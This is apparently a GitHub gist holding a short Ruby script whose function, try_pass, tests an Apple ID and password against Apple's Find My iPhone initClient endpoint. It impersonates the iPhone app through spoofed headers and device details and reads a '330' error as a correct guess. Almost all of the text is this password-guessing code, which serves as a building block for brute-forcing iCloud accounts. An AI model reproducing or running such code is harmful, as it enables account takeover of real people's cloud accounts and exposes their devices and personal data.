Last active
August 29, 2015 14:06
-
-
Save icyleaf/00ef5ac1591f22fa1463 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'plist' | |
require 'rest_client' | |
def try_pass(apple_id, password) | |
url = "https://fmipmobile.icloud.com/fmipservice/device/#{apple_id}/initClient" | |
basicOauth = Base64.encode64("#{apple_id}:#{password}") | |
headers = { | |
'User-Agent' => 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0', | |
'Authorization' => "Basic #{basicOauth}" | |
} | |
data = { | |
"clientContext" => { | |
"appName" => "FindMyiPhone", | |
"osVersion" => "7.0.4", | |
"clientTimestamp" => Time.now(), | |
"appVersion" => "3.0", | |
"deviceUDID" => "0123456789485ef5b1e6c4f356453be033d15622", | |
"inactiveTime" => 1, | |
"buildVersion" => "376", | |
"productType" => "iPhone6,1" | |
}, | |
"serverContext" => {} | |
} | |
plist = data.to_plist | |
status = false | |
begin | |
r = RestClient::Request.execute( | |
:method => :post, | |
:url => url, | |
:payload => plist, | |
:headers => headers, | |
) | |
rescue Exception => e | |
status = true if e.to_s.match('330') | |
end | |
status | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment